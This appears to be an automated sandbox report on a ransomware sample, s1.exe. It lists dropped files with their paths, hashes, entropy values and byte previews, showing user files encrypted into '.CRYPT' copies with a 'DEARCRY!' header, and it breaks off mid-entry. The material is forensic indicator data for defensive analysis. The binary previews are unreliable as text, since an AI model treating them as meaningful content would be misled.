                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\SmartScreenCache.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):123304
                                                              Entropy (8bit):7.998577890939275
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:C037AAE16703C4169CFCACE438A00B55
                                                              SHA1:BFB7636A9ABE45790E515ED380DD16AF580D5921
                                                              SHA-256:4220B1B3E073F0F477AABCF230E54E50849EC9F8498AD596F17D210299F7BA18
                                                              SHA-512:9EF096FD99A21726FC27904259F73EAABE8366A09E8D4D662C9A73F37696387B6702B4E4D49BDEE10635BEFD1A73C58ED7B65E55BDFBA362B0248C2A6627B08D
                                                              Malicious:true
                                                              Preview: DEARCRY!..../....TC.......d......P..6Z...e~Cy..f....F.,...#.S.3.w,.qZ.I.kQ..1Z.*weL.u..a.\.3Z.|........n.2...5I..5P.u3O..[...`\W*.k.'..K#...G.dH.zs.....z...YG.Xf,...>.Ot......x.O$c...6..B.......k...w^:.....:I..b.1...?b.6.L..s?Eim.Z..;...O.NHB..P..Z.ctt...2..4............:..p+..".f.p.C..1N...9..d!g<Bz...P....``..1.......Ib[...^.o..&..A..jg.b.........I\VkH.q..R....lR."-...3....T].:..Th.3..s:.Z....r.N'WJm..fj.KX.T(.?..6..!_...z....v{.N.. ...8....?$o.[.~........B..*..+.K..$4U.....,b.l.a........J./....B....\.2.on.k^.aI.cxQ-.].M.{....d.... z.f..Z..;.Y...*.y.o......7(\@..v.r....u.%'"...._^T....L..3..y9...>.Z..U...>8O..>...8s.....".B.&V~h.dF...v..:.R......>N.....D.......WS]f._........d.I..l....n...>.(.....$D@..r.....,%t...:x.....]f......baY.=..i.o..H%.-...fu..IT5jc{....T.......-.`x.p=..d...J.H...q....N..W{%.m...r...L.w....A.Q..W..>.fK.-.N.Cjc.5n..V...\v.y..o.,7.*........_K...}....7U..A.!&z..}FC.9...".mu..E.....8..{. ...jU..............s.).4..1g.o&...
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\DNTException\container.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):888
                                                              Entropy (8bit):7.643298816243649
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8ABCA42212847F305C921E5567191C54
                                                              SHA1:9D60F9ABE9E756615840475DBA24D706CBD5F836
                                                              SHA-256:B3CD404F1F35E97728A02D74399D62D0135F1287A004145EC7F083D0AE4A7B9E
                                                              SHA-512:2B7FB18523A1E2D32B19C4A121D39D8B772B83C1E4FAF1B436B9AD167D2EF6865993D52CFAACF36322B3082B106BF8B86C000FE91A60CA9D5A468FA9361025F8
                                                              Malicious:false
                                                              Preview: DEARCRY!....._...4..R..6t`...Z..f.....Gv...H.E....4.:.6/K.5r......E~j....zS....WC..u8.....:h....o...m3..~6..=.]....W-....k.&G|ZI..1...h.i...?Zv..F...I.......]..l....qmU.'j"....h5.UE.w+=........ .z..=.(...8.f.O.E.......&.D\s.:.I.............~..).....$..@.............w.p`:.E..@.c(..DEARCRY!....N..Lh.ngo...%.i.t...7........Od.3.?.=]..hF.. .....W.....S.....m.....3.)....2c.|*b......<.....$......?'%./.}...gp.v..=.t....j=..>..L.E.....}...F..... $. .#...z[...:u.."2PH.u.F....._!z..g...RK.W...}.z...&!....t....].b$..............:J...c..W.I............U<p....l....X;.DEARCRY!....y.....P..w......G......S.....n...1.)M..>.B..2.....\..F.[..H....w..A..".....os.......ru.,E.a..\...{*...fTw.-D..~....$].e.,}96.v.m3.........#^...dGu..Z..Z...z..i|..ZC.od.U#..qZ.P.....'c..ZX2..'.N-.L..S.a.w.2c....{.gn.=.d,.`IsXQ.(|......a.................*+.=..`.c.Y...
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\ESE\container.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):296
                                                              Entropy (8bit):7.228739853996569
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:2CD71511D9F4B819FB66A8523EEC6F84
                                                              SHA1:989D70BAF67B5449127724CEA689E1FC900A5013
                                                              SHA-256:183CB47E693FF1DE0B2B0B2A7D8C8AB06084B084FDBE83DA89D33477CFD42634
                                                              SHA-512:38B55A3A7EB7041324502D89E346CB5E86A7F3E607E4EB22E6D6184487ECD2A0ED2D744B9F7342FEC0EF39A481C75F5D38E9B6265C982C5A80648613DE765BD1
                                                              Malicious:false
                                                              Preview: DEARCRY!....f.L.. .....n....'H..x}.bR h.._t...f=|..+.aIP*...u.....:p3...2.Z+......rj..".4.....l.L..&f....I.m.....|.......&2._"r..+.....G....c^.....8.......c.J..}y.) T$..R.q..!5...s....Y..Q.>F..SK./...n.........E+.\:{.fI...).h...{uE.G..v......@.{R..................../e....j.....j..
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\Low\ESE\container.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):296
                                                              Entropy (8bit):7.151016487573816
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:819B4C12B4842432EC861735B80AB6A0
                                                              SHA1:209299FE0454D2FD5282A6F550285AF906ED53AB
                                                              SHA-256:09DC5DC67CF366A4B2284A543EE9F5E52A2822C82EA98B0B5A1E16CF4D165B14
                                                              SHA-512:F1DAF8720C80BA8EF8772554EE2736CFC7DC6BE7C69F8CDCF1AFC1ED42ABA8CD44A61C4132EA0F0EBA3B0D6732E907388190F9E8981F89401E304AA717034F64
                                                              Malicious:false
                                                              Preview: DEARCRY!...._;..)..Y....&....A.z5..A....Z..l........f.hB..&x...0..Py.J...`.....dR2.T..O.-}..[.........._..8#....u...@.T...3!....fbD}}.dQ[Z..4.)....q_.y...?.T....|..,O..%"...`/.....kl~.....,!.mn. zZ.a.*...U..x\n.2L....[.W...!.x..p. ....G~...?....e....................R.@K..O'...
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\container.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1184
                                                              Entropy (8bit):7.677842201257485
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:259BC64B12189EAF1EBD0EB1B1C381A3
                                                              SHA1:DC949A49B26F4DB5B37C8196A2A44FD0A65866F5
                                                              SHA-256:8B0D67D515BE15A096FEC70146E3967BAFDA17097CCF6FAC286B38CA706F1D3D
                                                              SHA-512:6D0295A4A5A72C05C768FB65B3F3D04D8CF7EF6063FFDE44C3373875DDC7AC2F1298F0D98725522156D971013827EF8E87BD2809E9AEA0734C4C82202B13A466
                                                              Malicious:false
                                                              Preview: DEARCRY!....I.Q.;.Z.G..4e...{.y.NZ`...G..#7.#u._7\.J....^... .v.(Bu..e?....bT..*...Z..<.\.7..>.....qG.a..\~_.:....@..,]H0.BxMq.li.;=....GH.....,.L..7..d&..x.6K...K......7.MH..5.......b.``..v.n.G.MF...Nu.C.Q....M.~...b...v..c.Z..7&.%.I..j..=|!i.T..o....4.l..............J.ZH.JhC".....DEARCRY!.....J%....p=o8.....lU......V..w.c+.WV......^.B....1j8..".%...Uyl...UG..v38!...H.......t.o...;..GS3......A...._c...@.l....C...?......f+b.......).-$......f1..4....z`.?.......H.....o.S-..Q...t]a....n`..Qw.......%..8j..F~.N..F...q~.....d...d..............i..i.&..=.8.z..xDEARCRY!........?....>./Jl..l.;.."....@.j...tYzj..}.....i!....`.....Hx`.F.L[X .N......vUJ.jQ".d.ebg.g.P...B^.UX.R.3.6.H2../....B.....wk.....=>q[...w.#.Dx8S.W81u>.....M..1.....h...`.....A...V8......6.....&2.....(.p...K.A..Ls....y._..-.N....6...@l...6..(+..............e...>.'.V2@0LDEARCRY!.........s%".j.i... .P.h4Qk....E1.......-..Q...b..I..j.......z.........$.@.T\ss.`..QN.F...N..g2W..
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpndatabase.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4194304
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4A31AC3594CB245C08E134EC06B3057E
                                                              SHA1:4E17F9AFA83F9E90D8DC56F823BCA1E6801D5592
                                                              SHA-256:A58789E910E5F939AFC433A00FEF5930702927DC192CB237FD9E7449BD6FFE1D
                                                              SHA-512:8A8B7ED4E02345EC29B652718A8289A337E36B22F54034CD842FDD2CCB1A2CBB5982802D901E72C41E0776FDD0C88BD1CC918EFC4A3E99A79A9BE0D65534E143
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpndatabase.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4195488
                                                              Entropy (8bit):7.999952825649218
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:334452F93D5936846FB7E559B41C5B86
                                                              SHA1:D98B5EBB79E854601524F59669957DAD1789277A
                                                              SHA-256:A656FEE294611CD38D612F7BE98394517F70D61CC8892547E99FEE0EB694AFA1
                                                              SHA-512:5D3036277866645A5B0E95440AD826CFCBEB561AF3530ACDA2BE57E1B90ACD63440C8684EBFAC3B25978761D8BB1888E54A81401836ED76DCAB334C59BDA279E
                                                              Malicious:true
                                                              Preview: DEARCRY!....6.Y^Z%}..^..4....Wwo..x.3o..t...Q...g0..5........IN..*L;.!.. ..Y..BfH..U+.....L.vL....'.FNp.-@..fv.3Q-...B...8....t..I..?s..T~.`.RE.....Yz..!....4.......v.=.....d..E.s$-%b..G*..or...EC.X.X...8W`.>...p.............$.j.. _]....%bW..h.d/......Vl:..U.................e....9.a.q.`...Y....`....H..B..XT."".:....;c.........]n.|...Zu.b.sL.........d...<./.T-......N...z..'qf..U...i0.+...f..O...Y..E'.G3'......[..#{&...ZR$j....tR.&N. i:.....-$rgb..wY..9.@m..|......@..v\R.FC5."...@."Yw._..W5.x...%z...MBnhT;.p...i2.... `v...._.Q.....`..v......a.r.....A....]..*.f..}..EH4..z..JD..nv4q...................I2R.Mm......xVF).=..F....l.G.].@......ai..P.....m@../.PQ......`......?.]9.;..3...St|JPg. _.uD...E0.J9l...n...r..NrY.a Q...7..-..d..:.k|...e}.x.........^.Jw.B5....[....a)p..W.bL.=....'....x..'.8.....>..>.t.?..u..#&1..i.(..d*.E.....A.v.4I...B...W....K..:.Y^.3...8..v.t.-.`g....uS...e.Q`... .3..Q.Y.&.v.&....rr6i..G..J._&.\.k.h..41..Pl. .....j. ..h. .....(.
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):471764
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C47A5CBFEE52E6D75E2ABE48BE933349
                                                              SHA1:C8E97980CD8164486A0696DD4BDB6ED9A701D71A
                                                              SHA-256:3E1DDACD64544DCA2318BAB519D3938CE365FE01907EF5D274A57911ED858262
                                                              SHA-512:AE2D3AFE1BA87E222816BF0C81A453DD160D3ADB1CF172642BF61B51F4CEE63FA39C30D8A2C5C9F8A3E59C7FB625CD3778A2EFD759EB1A883F78D537DBCDEF2F
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):472928
                                                              Entropy (8bit):7.999542303034736
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:50CDB3125EDCB163EE5D5E9A3DD44987
                                                              SHA1:83E2B0D948B56CD619C6528422C5A930ACA3E00B
                                                              SHA-256:93D9DDA63B65BF21C280E90C965D6D87BD78589B13C60F8FC214E5B0AD28308D
                                                              SHA-512:8AF9D7755A98996B6E5E13560E06C12ABAC20DC0767AE0AAF86206C7E030D0755200CC0734797BD67B2386587488DBFA26AC11C2AEDF82A28A300B34D29C31CC
                                                              Malicious:true
                                                              Preview: DEARCRY!....U+-.H..+.>..7....o.2...LHj..^*>)z...-o....!.."..D.....zRx....u.H.OY..x...(..&..O..1.GY.T..f.9.rd...{....Q.....T...6....a...(...q....$.....!....4.Ms..w....&...b.K.\..i.~.5...?yT....D..^~9d....AD......k...v[..:I.....@...lLK]V.P..P]......8..............5z...zN1...Rt.i....-.`+..h.-.]...q....a.v........1cY....Q3I..........~.\N.cz.O.rA.................5......u.7R..>{.[:.&..Y.......M]._.Z.).cS.3...n...I....)0.Or.!.m...`.t..K.(....{..Tp.q@..=.....Jb.}...b......./.3...l.....!,.I....WS,..7.....C|.D.?.G.>.-.. ..N.F.W.r..*>.&L.......j...0.N.......T...O...L.}.N.....Z.).S..]..=.QO%..^...P.....\...4......V.c.n.l/..o9. ....'.U....Z.\7.1%>......Y.....A.....CY;Pd._........~.'.f..>i.T.c\..1..2../y.....'..,.-....|.`H...@...'.."(6.nlHe:@...d..2kDsl.....|@...Op....9............i...A........Um..<.es.jJI./.DK......^.N0q6U&d...n.....M.*...t!.R.FF:..k../..Y..*S$s'.~A... ..Z.[.k..,B;..&.W......m....D.S..p..9.....\r%..OV!...~.'8.9.g.9o./Kuq
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\UPPS\UPPS.bin
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16148
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:F8582D934F7DDAAA8D973EB3F7B12C75
                                                              SHA1:F6B0C2175EF8D09CC3F17D65B54E2DE95FACB3C5
                                                              SHA-256:6CF7B9CC765337BE99B0E4FF14155C8C335B4E350630490EA941F4EB25B2411E
                                                              SHA-512:8CE564543210530D2FA58D2C223CC3282822E169D541A3C1E9B43AB06BB27FCC8768870B969D01FAA22746B1CF91931C193AAF9269ED1E238926D4EB8192797E
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\UPPS\UPPS.bin.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16440
                                                              Entropy (8bit):7.9892517084023895
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C6F78821E6A5210371608B59F26DAE70
                                                              SHA1:14C73EC01F9B1AD68FB19F903E9C0525BCEA7C7C
                                                              SHA-256:C832D58E2D8EA1137CD6DE32E4FEC0344D55AC517F4E6ADACAC5A3E1F5A7E193
                                                              SHA-512:ECA136C73CA3263CDD90C8490C1E1FE5F8425C42F20228EE655AD38281E89C8AF43BA21FC3570B61D4E19C3D2BFA78C0AA83055F050DC2D41D3AF0E0FC97BC08
                                                              Malicious:false
                                                              Preview: DEARCRY!......Z..z....jj..~.${&..{*EXE..Q....]...4...JR`nh...G.K.\.k.aOB.i..Z.^m....-a.!..0yc...e..:.2L.^...4...&&T2.....06.{.......V2..jq.y%........?......(.C_...4sa.a........k.....'.Ph..-....5...";#...6...D:.%K.\..pl..~./:...$.si.a0W.o{%?...>?.......p........?.......D~dD.....sbsH.q+F'..Yu1....I....]..n..D...>.....&...b>..m.....hX.c6|...A..._..pn..{.YC.|1..Z.....j.A.n....oL.......F..V....i{D.....!.'7..w..:(@...vt.4/.R..T.i.....v.w..i...+;..6.."U.........=Z.i`.+.k..M.S.u.!-.<~Z.:.....N...0....v.k.Q{M}..N6....wL.....^#^1..bT....).6..R./-......8.F>....oR.}....../...8.?........Y.=..t.~.....T.qoO....,/~..U.T.:z.U...../\...7....'.A[...$.......Z./..Y./...j..C..]+.#.).".\.3j...R..cV....>?.k(...rC...D....t.9;$.M.0...0xc....?.xq..I?...*G~?P.*/z.B...".Zt......)..i....P.[.`..@...j.{.Y.z.._..c.....D....'...E....k.'..?.O.8.&8...>...fj....%.I..{.......5..S.(...X?$....1:Jv.*e.u..6.+r.....Y.....?........].=.Y.F)..r..)`.FQ"..sKqM...Lz.^.W....n..`...|..?l.F.0
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V010000A.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2097152
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:164E628D04865CBBDF13880248C837B0
                                                              SHA1:0DA0F9A485B4E400431E1ACF7B8DDA40F82CBF83
                                                              SHA-256:5B766F6D76A999636FD93B4E039D5A32187F84A19C0950449F0C721DA0223914
                                                              SHA-512:3F22BB816608DC7226B3AEB7BBC5D64789B4CBA19C5C06836927374B58AD2D1081FA0799E8699F0DD5443675968A3D9516EFDFDD69700689E35CEC7E78540CB4
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V010000A.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2098336
                                                              Entropy (8bit):7.999892879536302
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:8E9C1E1CCEA0A8816321690E81238116
                                                              SHA1:0707CBE6F88C3B8517ADD00BE8E2C67939D46887
                                                              SHA-256:F63DE7B8759FCB7F72BEEAACE2E8EEC6276FDF1E4CDE81AC9402DFCC86C89037
                                                              SHA-512:30BBC26D50CE4222EFACA2376A0A63C53938BB88C1AED6B05746C616CE06D2FFF67C31CEEC82D9FD58F6C2C0E38DCED478F1B3944F70852AB4DA71F29DB853F0
                                                              Malicious:true
                                                              Preview: DEARCRY!....)..[Q..#..82=..........d[..........7.yl..z.}.v.[.Lj.k...?.*...y..f....+Q@n%.....H..E ..U. .5.w.[.....;.dG....X<......5..<!....j#...Vs..K..@....m..{`..W,...U.d.CD.6.q. ....r..w9].!e.>.1.2..*.R.z.FF....a.....?.'........i..g..J.-p<.#..yh...g.j0.................N.......`.`v...k...X.#.<D...J....s...k....b..........'.p,..w`N&.*.$,......./...hq.H.74ln...P%... ..v....gN..f...@._......B(.<.'..N.I...._R])..R..iC.+..'.$.j.G.....L....|<..nK..6..f...!y..8B....8..[.W._..z{._-4.s..^$...U9.......5Hz...H..o#_..w.+....51?...n...R;#/~.C.......%P."(=h<).b&..$f8....1i.R>4.C.z8YZ{x..M6.2.....>...>..... ..o..N./...2k\NH+.).g./.7K...o..EU../.'...s3#.76q.'[.Md...V7q%.....,.{..X.7..c.f.k..<G....B...+.n?...-.3...V.>..q...z.'...T.V2.......8{.+.......{.Y .....N#e ......2.........0..u.......G]i..m.._..r.aS..q.^..8I.z...(...).;...GWG.v2..l.._.v...C...N>?4.1......O..QV....."F.qB?.I$..P...3/.a..>........o...._.....O%E...nq.....K*.[.z\}.hZ)....=.u1G..fd./....
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V010000B.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2097152
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:164E628D04865CBBDF13880248C837B0
                                                              SHA1:0DA0F9A485B4E400431E1ACF7B8DDA40F82CBF83
                                                              SHA-256:5B766F6D76A999636FD93B4E039D5A32187F84A19C0950449F0C721DA0223914
